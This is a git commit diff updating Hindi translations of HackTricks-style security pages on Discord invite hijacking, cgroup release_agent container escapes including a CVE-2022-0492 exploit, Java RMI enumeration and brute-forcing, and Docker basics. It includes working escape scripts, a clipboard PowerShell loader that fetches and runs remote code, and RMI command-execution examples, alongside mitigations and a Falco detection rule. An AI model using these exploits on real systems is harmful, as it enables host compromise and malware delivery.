Translated ['src/generic-methodologies-and-resources/phishing-methodolog

This commit is contained in:
Translator 2025-07-12 15:26:49 +00:00
parent f6a880fedc
commit 4d1f7933c3
7 changed files with 173 additions and 101 deletions

View File

@ -8,7 +8,7 @@ Discord के आमंत्रण प्रणाली की कमजो
| Invite Type | Hijackable? | Condition / Comments |
|-----------------------|-------------|------------------------------------------------------------------------------------------------------------|
| Temporary Invite Link | ✅ | समाप्ति के बाद, कोड उपलब्ध हो जाता है और इसे बूस्टेड सर्वर द्वारा वैनिटी URL के रूप में फिर से रजिस्टर किया जा सकता है। |
| Temporary Invite Link | ✅ | समाप्ति के बाद, कोड उपलब्ध हो जाता है और इसे एक बूस्टेड सर्वर द्वारा वैनिटी URL के रूप में फिर से रजिस्टर किया जा सकता है। |
| Permanent Invite Link | ⚠️ | यदि हटाया गया और केवल लोअरकेस अक्षरों और अंकों से बना है, तो कोड फिर से उपलब्ध हो सकता है। |
| Custom Vanity Link | ✅ | यदि मूल सर्वर अपना स्तर 3 बूस्ट खो देता है, तो इसका वैनिटी आमंत्रण नए रजिस्ट्रेशन के लिए उपलब्ध हो जाता है। |
@ -19,10 +19,10 @@ Discord के आमंत्रण प्रणाली की कमजो
- रुचि के आमंत्रण कोड (अस्थायी या वैनिटी) एकत्र करें।
2. Pre-registration
- स्तर 3 बूस्ट विशेषाधिकार के साथ एक नया या मौजूदा Discord सर्वर बनाएं या उपयोग करें।
- **Server Settings → Vanity URL** में, लक्षित आमंत्रण कोड को असाइन करने का प्रयास करें। यदि स्वीकार किया गया, तो कोड दुर्भावनापूर्ण सर्वर द्वारा आरक्षित है।
- **Server Settings → Vanity URL** में, लक्षित आमंत्रण कोड को असाइन करने का प्रयास करें। यदि स्वीकार किया जाता है, तो कोड दुर्भावनापूर्ण सर्वर द्वारा आरक्षित है।
3. Hijack Activation
- अस्थायी आमंत्रण के लिए, मूल आमंत्रण समाप्त होने की प्रतीक्षा करें (या यदि आप स्रोत को नियंत्रित करते हैं तो इसे मैन्युअल रूप से हटा दें)।
- बड़े अक्षरों वाले कोड के लिए, लोअरकेस संस्करण तुरंत दावा किया जा सकता है, हालांकि रीडायरेक्शन केवल समाप्ति के बाद सक्रिय होता है।
- बड़े अक्षरों वाले कोड के लिए, लोअरकेस संस्करण को तुरंत दावा किया जा सकता है, हालांकि रीडायरेक्शन केवल समाप्ति के बाद सक्रिय होता है।
4. Silent Redirection
- पुराने लिंक पर जाने वाले उपयोगकर्ताओं को हमलावर-नियंत्रित सर्वर पर बिना किसी रुकावट के भेजा जाता है जब हाईजैक सक्रिय होता है।
@ -44,18 +44,18 @@ const cmd = `powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9
`iex (iwr -Uri $url)"`;
navigator.clipboard.writeText(cmd);
```
यह दृष्टिकोण सीधे फ़ाइल डाउनलोड से बचता है और उपयोगकर्ता की संदेह को कम करने के लिए परिचित UI तत्वों का लाभ उठाता है।
इस दृष्टिकोण से सीधे फ़ाइल डाउनलोड से बचा जाता है और उपयोगकर्ता की संदेह को कम करने के लिए परिचित UI तत्वों का लाभ उठाया जाता है।
## Mitigations
- स्थायी आमंत्रण लिंक का उपयोग करें जिसमें कम से कम एक बड़ा अक्षर या गैर-अक्षरांकित चरित्र हो (कभी समाप्त न हों, पुन: उपयोग योग्य न हों)।
- स्थायी आमंत्रण लिंक का उपयोग करें जिसमें कम से कम एक बड़ा अक्षर या गैर-अक्षरांकित चरित्र हो (कभी समाप्त न हों, पुन: उपयोग करने योग्य न हों)।
- नियमित रूप से आमंत्रण कोड को घुमाएँ और पुराने लिंक को रद्द करें।
- Discord सर्वर बूस्ट स्थिति और वैनिटी URL दावों की निगरानी करें।
- उपयोगकर्ताओं को सर्वर की प्रामाणिकता की पुष्टि करने और क्लिपबोर्ड-पेस्ट किए गए कमांड को निष्पादित करने से बचने के लिए शिक्षित करें।
## References
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
- Discord Custom Invite Link Documentation https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
- Discord Custom Invite Link Documentation [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,9 @@
**अधिक जानकारी के लिए, कृपया** [**मूल ब्लॉग पोस्ट**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)** को देखें।** यह केवल एक सारांश है:
Original PoC:
---
## Classic PoC (2019)
```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
@ -12,38 +14,108 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
प्रूफ ऑफ कॉन्सेप्ट (PoC) cgroups का शोषण करने के लिए एक विधि का प्रदर्शन करता है, जिसमें एक `release_agent` फ़ाइल बनाई जाती है और इसके कार्यान्वयन को ट्रिगर करके कंटेनर होस्ट पर मनमाने कमांड निष्पादित किए जाते हैं। इसमें शामिल चरणों का विवरण इस प्रकार है:
The PoC **cgroup-v1** `release_agent` फीचर का दुरुपयोग करता है: जब एक cgroup का अंतिम कार्य जो `notify_on_release=1` है, समाप्त होता है, तो कर्नेल (होस्ट पर **प्रारंभिक नामस्थान में**) उस प्रोग्राम को निष्पादित करता है जिसका पथ नाम लिखने योग्य फ़ाइल `release_agent` में संग्रहीत होता है। क्योंकि वह निष्पादन **होस्ट पर पूर्ण रूट विशेषाधिकार के साथ** होता है, फ़ाइल तक लिखने की पहुंच प्राप्त करना एक कंटेनर से बाहर निकलने के लिए पर्याप्त है।
### संक्षिप्त, पठनीय वॉक-थ्रू
1. **एक नया cgroup तैयार करें**
1. **पर्यावरण तैयार करें:**
- एक निर्देशिका `/tmp/cgrp` बनाई जाती है जो cgroup के लिए माउंट पॉइंट के रूप में कार्य करती है।
- RDMA cgroup नियंत्रक को इस निर्देशिका में माउंट किया जाता है। RDMA नियंत्रक की अनुपस्थिति की स्थिति में, वैकल्पिक के रूप में `memory` cgroup नियंत्रक का उपयोग करने की सिफारिश की जाती है।
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
2. **बच्चे Cgroup सेट करें:**
- एक बच्चे cgroup जिसका नाम "x" है, माउंट किए गए cgroup निर्देशिका के भीतर बनाया गया है।
- "x" cgroup के लिए सूचनाएँ सक्षम की गई हैं, इसके notify_on_release फ़ाइल में 1 लिखकर।
```shell
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp # या o memory
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **रिलीज एजेंट कॉन्फ़िगर करें:**
- होस्ट पर कंटेनर का पथ /etc/mtab फ़ाइल से प्राप्त किया जाता है।
- फिर cgroup की release_agent फ़ाइल को प्राप्त किए गए होस्ट पथ पर स्थित /cmd नामक स्क्रिप्ट को निष्पादित करने के लिए कॉन्फ़िगर किया जाता है।
2. **`release_agent` को होस्ट पर हमलावर-नियंत्रित स्क्रिप्ट की ओर इंगित करें**
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
4. **/create और Configure करें /cmd Script:**
- /cmd स्क्रिप्ट कंटेनर के अंदर बनाई जाती है और इसे ps aux को निष्पादित करने के लिए कॉन्फ़िगर किया जाता है, जिसका आउटपुट कंटेनर में /output नामक फ़ाइल में पुनर्निर्देशित किया जाता है। होस्ट पर /output का पूरा पथ निर्दिष्ट किया गया है।
3. **पेलोड छोड़ें**
```shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
cat <<'EOF' > /cmd
#!/bin/sh
ps aux > "$host_path/output"
EOF
chmod +x /cmd
```
5. **हमला शुरू करें:**
- "x" चाइल्ड cgroup के भीतर एक प्रक्रिया शुरू की जाती है और तुरंत समाप्त कर दी जाती है।
- यह `release_agent` (the /cmd script) को सक्रिय करता है, जो होस्ट पर ps aux चलाता है और आउटपुट को कंटेनर के भीतर /output पर लिखता है।
4. **नोटिफायर को ट्रिगर करें**
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # खुद को जोड़ें और तुरंत बाहर निकलें
cat /output # अब होस्ट प्रक्रियाएँ शामिल हैं
```
---
## 2022 कर्नेल भेद्यता CVE-2022-0492
फरवरी 2022 में यिकी सुन और केविन वांग ने खोजा कि **कर्नेल ने cgroup-v1 में `release_agent` पर प्रक्रिया द्वारा लिखे जाने पर क्षमताओं की पुष्टि *नहीं* की** (कार्य `cgroup_release_agent_write`)।
प्रभावी रूप से **कोई भी प्रक्रिया जो cgroup पदानुक्रम को माउंट कर सकती थी (जैसे `unshare -UrC` के माध्यम से) वह *प्रारंभिक* उपयोगकर्ता नामस्थान में `CAP_SYS_ADMIN` के बिना `release_agent` पर एक मनमाना पथ लिख सकती थी**। एक डिफ़ॉल्ट-कॉन्फ़िगर, रूट-चलाने वाले Docker/Kubernetes कंटेनर पर इससे अनुमति बढ़ाने की अनुमति मिली:
* होस्ट पर रूट तक विशेषाधिकार वृद्धि; ↗
* कंटेनर को बिना विशेषाधिकार के बाहर निकलना।
इस दोष को **CVE-2022-0492** (CVSS 7.8 / उच्च) सौंपा गया और निम्नलिखित कर्नेल रिलीज़ (और सभी बाद के) में ठीक किया गया:
* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299।
पैच कमिट: `1e85af15da28 "cgroup: Fix permission checking"`
### कंटेनर के अंदर न्यूनतम शोषण
```bash
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
apk add --no-cache util-linux # provides unshare
unshare -UrCm sh -c '
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
echo 1 > /tmp/c/notify_on_release;
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
while true; do sleep 1; done
'
```
यदि कर्नेल कमजोर है तो *होस्ट* से busybox बाइनरी पूर्ण रूट के साथ निष्पादित होती है।
### हार्डनिंग और शमन
* **कर्नेल को अपडेट करें** (≥ संस्करण ऊपर)। पैच अब `release_agent` पर लिखने के लिए *प्रारंभिक* उपयोगकर्ता नामस्थान में `CAP_SYS_ADMIN` की आवश्यकता है।
* **cgroup-v2 को प्राथमिकता दें** एकीकृत पदानुक्रम **`release_agent` सुविधा को पूरी तरह से हटा दिया गया है**, इस प्रकार के भागने को समाप्त कर दिया गया है।
* **उन होस्ट पर अव्यवस्थित उपयोगकर्ता नामस्थान को अक्षम करें** जिन्हें उनकी आवश्यकता नहीं है:
```shell
sysctl -w kernel.unprivileged_userns_clone=0
```
* **अनिवार्य पहुंच नियंत्रण**: AppArmor/SELinux नीतियां जो `/sys/fs/cgroup/**/release_agent` पर `mount`, `openat` को अस्वीकार करती हैं, या `CAP_SYS_ADMIN` को गिराती हैं, कमजोर कर्नेल पर भी तकनीक को रोक देती हैं।
* **पढ़ने के लिए केवल बाइंड-मास्क** सभी `release_agent` फ़ाइलें (Palo Alto स्क्रिप्ट उदाहरण):
```shell
for f in $(find /sys/fs/cgroup -name release_agent); do
mount --bind -o ro /dev/null "$f"
done
```
## रनटाइम पर पहचान
[`Falco`](https://falco.org/) v0.32 से एक अंतर्निहित नियम के साथ आता है:
```yaml
- rule: Detect release_agent File Container Escapes
desc: Detect an attempt to exploit a container escape using release_agent
condition: open_write and container and fd.name endswith release_agent and
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
thread.cap_effective contains CAP_SYS_ADMIN
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
priority: CRITICAL
tags: [container, privilege_escalation]
```
नियम किसी भी लेखन प्रयास पर ट्रिगर होता है `*/release_agent` से एक प्रक्रिया के अंदर एक कंटेनर में जो अभी भी `CAP_SYS_ADMIN` रखता है।
## संदर्भ
* [Unit 42 CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) विस्तृत विश्लेषण और शमन स्क्रिप्ट।
* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -22,12 +22,12 @@ _nmap_ कभी-कभी _SSL_ सुरक्षित _RMI_ सेवाओ
सरल शब्दों में, _Java RMI_ एक डेवलपर को नेटवर्क पर एक _Java object_ उपलब्ध कराने की अनुमति देता है। यह एक _TCP_ पोर्ट खोलता है जहाँ ग्राहक कनेक्ट कर सकते हैं और संबंधित ऑब्जेक्ट पर विधियों को कॉल कर सकते हैं। हालांकि यह सरल लगता है, _Java RMI_ को कई चुनौतियों का सामना करना पड़ता है:
1. _Java RMI_ के माध्यम से एक विधि कॉल को भेजने के लिए, ग्राहकों को IP पता, सुनने वाला पोर्ट, लागू की गई कक्षा या इंटरफ़ेस और लक्षित ऑब्जेक्ट का `ObjID` जानना आवश्यक है ( `ObjID` एक अद्वितीय और यादृच्छिक पहचानकर्ता है जो तब बनाया जाता है जब ऑब्जेक्ट नेटवर्क पर उपलब्ध कराया जाता है। यह आवश्यक है क्योंकि _Java RMI_ कई ऑब्जेक्ट्स को एक ही _TCP_ पोर्ट पर सुनने की अनुमति देता है)।
2. दूरस्थ ग्राहक सर्वर पर संसाधनों को आवंटित कर सकते हैं ज प्रदर्शित ऑब्जेक्ट पर विधियों को कॉल करके_Java virtual machine_ को यह ट्रैक करना होगा कि इनमें से कौन से संसाधन अभी भी उपयोग में हैं और इनमें से कौन से गार्बेज कलेक्ट किए जा सकते हैं।
1. _Java RMI_ के माध्यम से एक विधि कॉल को भेजने के लिए, ग्राहकों को IP पता, सुनने वाला पोर्ट, लागू की गई क्लास या इंटरफेस और लक्षित ऑब्जेक्ट का `ObjID` जानना आवश्यक है ( `ObjID` एक अद्वितीय और यादृच्छिक पहचानकर्ता है जो तब बनाया जाता है जब ऑब्जेक्ट नेटवर्क पर उपलब्ध कराया जाता है। यह आवश्यक है क्योंकि _Java RMI_ कई ऑब्जेक्ट्स को एक ही _TCP_ पोर्ट पर सुनने की अनुमति देता है)।
2. दूरस्थ ग्राहक सर्वर पर संसाधनों को आवंटित कर सकते हैं जब वे प्रदर्शित ऑब्जेक्ट पर विधियों को कॉल करते हैं_Java virtual machine_ को यह ट्रैक करना होगा कि इनमें से कौन से संसाधन अभी भी उपयोग में हैं और इनमें से कौन से कचरे के रूप में एकत्र किए जा सकते हैं।
पहली चुनौती का समाधान _RMI registry_ द्वारा किया जाता है, जो मूल रूप से _Java RMI_ के लिए एक नामकरण सेवा है। _RMI registry_ स्वयं भी एक _RMI service_ है, लेकिन लागू की गई इंटरफेस और `ObjID` निश्चित और सभी _RMI_ ग्राहकों द्वारा ज्ञात होते हैं। यह _RMI_ ग्राहकों को केवल संबंधित _TCP_ पोर्ट को जानकर _RMI_ रजिस्ट्री का उपभोग करने की अनुमति देता है।
पहली चुनौती का समाधान _RMI registry_ द्वारा किया जाता है, जो मूल रूप से _Java RMI_ के लिए एक नामकरण सेवा है। _RMI registry_ स्वयं भी एक _RMI service_ है, लेकिन लागू की गई इंटरफेस और `ObjID` निश्चित और सभी _RMI_ ग्राहकों द्वारा ज्ञात होते हैं। यह _RMI_ ग्राहकों को केवल संबंधित _TCP_ पोर्ट को जानकर _RMI_ रजिस्ट्री का उपभोग करने की अनुमति देता है।
जब डेवलपर्स अपने _Java objects_ को नेटवर्क के भीतर उपलब्ध कराना चाहते हैं, तो वे आमतौर पर उन्हें एक _RMI registry_ से बांधते हैं। _registry_ ऑब्जेक्ट से कनेक्ट करने के लिए आवश्यक सभी जानकारी (IP पता, सुनने वाला पोर्ट, लागू की गई कक्षा या इंटरफ़ेस और `ObjID` मान) को संग्रहीत करता है और इसे एक मानव-पठनीय नाम ( _bound name_ ) के तहत उपलब्ध कराता है। ग्राहक जो _RMI service_ का उपभोग करना चाहते हैं, वे संबंधित _bound name_ के लिए _RMI registry_ से पूछते हैं और रजिस्ट्री कनेक्ट करने के लिए सभी आवश्यक जानकारी लौटाती है। इस प्रकार, स्थिति मूल रूप से एक सामान्य _DNS_ सेवा के समान है। निम्नलिखित सूची एक छोटा उदाहरण दिखाती है:
जब डेवलपर्स अपने _Java objects_ को नेटवर्क के भीतर उपलब्ध कराना चाहते हैं, तो वे आमतौर पर उन्हें एक _RMI registry_ से बांधते हैं। _registry_ ऑब्जेक्ट से कनेक्ट करने के लिए आवश्यक सभी जानकारी (IP पता, सुनने वाला पोर्ट, लागू की गई क्लास या इंटरफेस और `ObjID` मान) संग्रहीत करता है और इसे एक मानव-पठनीय नाम ( _bound name_ ) के तहत उपलब्ध कराता है। ग्राहक जो _RMI service_ का उपभोग करना चाहते हैं, वे संबंधित _bound name_ के लिए _RMI registry_ से पूछते हैं और रजिस्ट्री कनेक्ट करने के लिए सभी आवश्यक जानकारी लौटाती है। इस प्रकार, स्थिति मूल रूप से एक सामान्य _DNS_ सेवा के समान होती है। निम्नलिखित सूची एक छोटा उदाहरण दिखाती है:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
@ -51,7 +51,7 @@ e.printStackTrace();
}
}
```
उपरोक्त उल्लेखित चुनौतियों में से दूसरी को _Distributed Garbage Collector_ (_DGC_) द्वारा हल किया गया है। यह एक और _RMI service_ है जिसमें एक ज्ञात `ObjID` मान है और यह मूल रूप से प्रत्येक _RMI endpoint_ पर उपलब्ध है। जब एक _RMI client_ एक _RMI service_ का उपयोग करना शुरू करता है, तो यह _DGC_ को सूचित करता है कि संबंधित _remote object_ का उपयोग किया जा रहा है। _DGC_ फिर संदर्भ गणना को ट्रैक कर सकता है और अप्रयुक्त वस्तुओं को साफ करने में सक्षम है।
उपरोक्त उल्लेखित चुनौतियों में से दूसरी को _Distributed Garbage Collector_ (_DGC_) द्वारा हल किया गया है। यह एक और _RMI सेवा_ है जिसमें एक ज्ञात `ObjID` मान है और यह मूल रूप से प्रत्येक _RMI endpoint_ पर उपलब्ध है। जब एक _RMI client_ एक _RMI सेवा_ का उपयोग करना शुरू करता है, तो यह _DGC_ को जानकारी भेजता है कि संबंधित _remote object_ का उपयोग किया जा रहा है। _DGC_ फिर संदर्भ गणना को ट्रैक कर सकता है और अप्रयुक्त वस्तुओं को साफ करने में सक्षम है।
पुराने _Activation System_ के साथ, ये _Java RMI_ के तीन डिफ़ॉल्ट घटक हैं:
@ -59,11 +59,11 @@ e.printStackTrace();
2. _Activation System_ (`ObjID = 1`)
3. _Distributed Garbage Collector_ (`ObjID = 2`)
_Java RMI_ के डिफ़ॉल्ट घटक काफी समय से ज्ञात हमले के वेक्टर रहे हैं और पुराने _Java_ संस्करणों में कई कमजोरियाँ मौजूद हैं। एक हमलावर के दृष्टिकोण से, ये डिफ़ॉल्ट घटक दिलचस्प हैं, क्योंकि उन्होंने ज्ञात वर्गों / इंटरफेस को लागू किया है और नके साथ बातचीत करना आसान है। यह स्थिति कस्टम _RMI services_ के लिए अलग है। एक _remote object_ पर एक विधि को कॉल करने के लिए, आपको पहले से संबंधित विधि हस्ताक्षर को जानना होगा। एक मौजूदा विधि हस्ताक्षर को जाने बिना, _RMI service_ के साथ संवाद करने का कोई तरीका नहीं है।
_Java RMI_ के डिफ़ॉल्ट घटक कुछ समय से ज्ञात हमले के वेक्टर रहे हैं और पुराने _Java_ संस्करणों में कई कमजोरियाँ मौजूद हैं। एक हमलावर के दृष्टिकोण से, ये डिफ़ॉल्ट घटक दिलचस्प हैं, क्योंकि उन्होंने ज्ञात वर्गों / इंटरफेस को लागू किया है और नके साथ बातचीत करना आसान है। यह स्थिति कस्टम _RMI सेवाओं_ के लिए अलग है। एक _remote object_ पर एक विधि को कॉल करने के लिए, आपको पहले से संबंधित विधि हस्ताक्षर को जानना होगा। एक मौजूदा विधि हस्ताक्षर को जाने बिना, _RMI सेवा_ के साथ संवाद करने का कोई तरीका नहीं है।
## RMI Enumeration
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) एक _Java RMI_ कमजोरियों का स्कैनर है जो सामान्य _RMI vulnerabilities_ो स्वचालित रूप से पहचानने में सक्षम है। जब भी आप एक _RMI_ endpoint की पहचान करते हैं, तो आपको इसे आजमाना चाहिए:
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) एक _Java RMI_ कमजोरियों का स्कैनर है जो सामान्य _RMI vulnerabilities_ी पहचान करने में सक्षम है। जब भी आप एक _RMI_ endpoint की पहचान करते हैं, तो आपको इसे आजमाना चाहिए:
```
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
@ -136,11 +136,11 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
```
## दूरस्थ विधियों का ब्रूटफोर्सिंग
## Bruteforcing Remote Methods
यहां तक कि जब enumeration के दौरान कोई कमजोरियां पहचान नहीं गई हैं, उपलब्ध _RMI_ सेवाएं अभी भी खतरनाक कार्यों को उजागर कर सकती हैं। इसके अलावा, हालांकि _RMI_ संचार _RMI_ डिफ़ॉल्ट घटकों के लिए deserialization फ़िल्टर द्वारा सुरक्षित है, कस्टम _RMI_ सेवाओं से बात करते समय, ऐसे फ़िल्टर आमतौर पर मौजूद नहीं होते हैं। इसलिए, _RMI_ सेवाओं पर मान्य विधि हस्ताक्षर जानना मूल्यवान है।
यहां तक कि जब enumeration के दौरान कोई कमजोरियां नहीं पाई गई हैं, उपलब्ध _RMI_ सेवाएं अभी भी खतरनाक कार्यों को उजागर कर सकती हैं। इसके अलावा, हालांकि _RMI_ संचार _RMI_ डिफ़ॉल्ट घटकों के लिए deserialization फ़िल्टर द्वारा सुरक्षित है, कस्टम _RMI_ सेवाओं के साथ बात करते समय, ऐसे फ़िल्टर आमतौर पर मौजूद नहीं होते हैं। इसलिए, _RMI_ सेवाओं पर मान्य विधि हस्ताक्षरों को जानना मूल्यवान है।
दुर्भाग्यवश, _Java RMI_ दूरस्थ वस्तुओं पर विधियों की enumeration का समर्थन नहीं करता है। यह कहा जा सकता है कि, विधि हस्ताक्षरों को ब्रूटफोर्स करना संभव है, जैसे कि उपकरणों के साथ [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) या [rmiscout](https://github.com/BishopFox/rmiscout):
दुर्भाग्यवश, _Java RMI_ दूरस्थ वस्तुओं पर विधियों को सूचीबद्ध करने का समर्थन नहीं करता है। यह कहा जा सकता है कि विधि हस्ताक्षरों को [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) या [rmiscout](https://github.com/BishopFox/rmiscout) जैसे उपकरणों के साथ ब्रूटफोर्स करना संभव है:
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
@ -170,7 +170,7 @@ $ rmg guess 172.17.0.2 9010
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
```
पहचाने गए तरीके इस प्रकार कॉल किए जा सकते हैं:
पहचाने गए तरीके इस प्रकार बुलाए जा सकते हैं:
```
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
@ -205,11 +205,11 @@ uid=0(root) gid=0(root) groups=0(root)
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://bishopfox.com/blog/rmiscout)
अनुमान लगाने के अलावा, आपको खोज इंजनों या _GitHub_ पर उस _RMI_ सेवा के इंटरफेस या यहां तक कि कार्यान्वयन के लिए भी देखना चाहिए। _bound name_ और कार्यान्वित वर्ग या इंटरफेस का नाम यहां सहायक हो सकता है।
अनुमान लगाने के अलावा, आपको खोज इंजनों या _GitHub_ पर उस _RMI_ सेवा के इंटरफेस या यहां तक कि कार्यान्वयन की तलाश करनी चाहिए। _bound name_ और कार्यान्वित वर्ग या इंटरफेस का नाम यहां सहायक हो सकता है।
## ज्ञात इंटरफेस
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) उन वर्गों या इंटरफेस को `known` के रूप में चिह्नित करता है यदि वे उपकरण के ज्ञात _RMI सेवाओं_ के आंतरिक डेटाबेस में सूचीबद्ध हैं। इन मामलों में, आप संबंधित _RMI सेवा_ पर अधिक जानकारी प्राप्त करने के लिए `known` क्रिया का उपयोग कर सकते हैं:
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) उन वर्गों या इंटरफेस को `known` के रूप में चिह्नित करता है यदि वे उपकरण के ज्ञात _RMI सेवाओं_ के आंतरिक डेटाबेस में सूचीबद्ध हैं। इन मामलों में, आप संबंधित _RMI सेवा_ के बारे में अधिक जानकारी प्राप्त करने के लिए `known` क्रिया का उपयोग कर सकते हैं:
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
[+]
[+] Vulnerabilities:
[+]
@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
[+]
[+] -----------------------------------
[+] Name:
@ -266,7 +266,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
```
## Shodan

View File

@ -6,15 +6,15 @@
#### What is
Docker **कंटेनराइजेशन उद्योग** में **अग्रणी प्लेटफार्म** है, जो **निरंतर नवाचार** का नेतृत्व करता है। यह **पारंपरिक से लेकर भविष्यवादी** अनुप्रयोगों के निर्माण और वितरण को सरल बनाता है, और विभिन्न वातावरणों में उनके **सुरक्षित तैनाती** की सुनिश्चितता करता है।
Docker **कंटेनराइजेशन उद्योग** में **अग्रणी प्लेटफार्म** है, जो **निरंतर नवाचार** का नेतृत्व करता है। यह **पारंपरिक से लेकर भविष्यवादी** अनुप्रयोगों के निर्माण और वितरण को सहज बनाता है, और विभिन्न वातावरणों में उनके **सुरक्षित तैनाती** की सुनिश्चितता करता है।
#### Basic docker architecture
- [**containerd**](http://containerd.io): यह कंटेनरों के लिए एक **मुख्य रनटाइम** है, जो **कंटेनर के जीवनचक्र** का समग्र **प्रबंधन** करता है। इसमें **छवि स्थानांतरण और भंडारण**ो संभालना शामिल है, इसके अलावा कंटेनरों के **निष्पादन, निगरानी, और नेटवर्किंग**ी देखरेख करना भी शामिल है। कंटेनरड पर **अधिक विस्तृत जानकारी** **आगे खोजी गई** है
- [**containerd**](http://containerd.io): यह कंटेनरों के लिए एक **मुख्य रनटाइम** है, जो **कंटेनर के जीवनचक्र** का व्यापक **प्रबंधन** करता है। इसमें **छवि स्थानांतरण और भंडारण**े साथ-साथ कंटेनरों के **निष्पादन, निगरानी, और नेटवर्किंग**ा प्रबंधन शामिल है। **containerd** पर **अधिक विस्तृत जानकारी** **आगे खोजी गई है**।
- **container-shim** **headless containers** के प्रबंधन में एक **मध्यस्थ** के रूप में महत्वपूर्ण भूमिका निभाता है, जो कंटेनरों के प्रारंभ होने के बाद **runc** से सहजता से कार्यभार संभालता है।
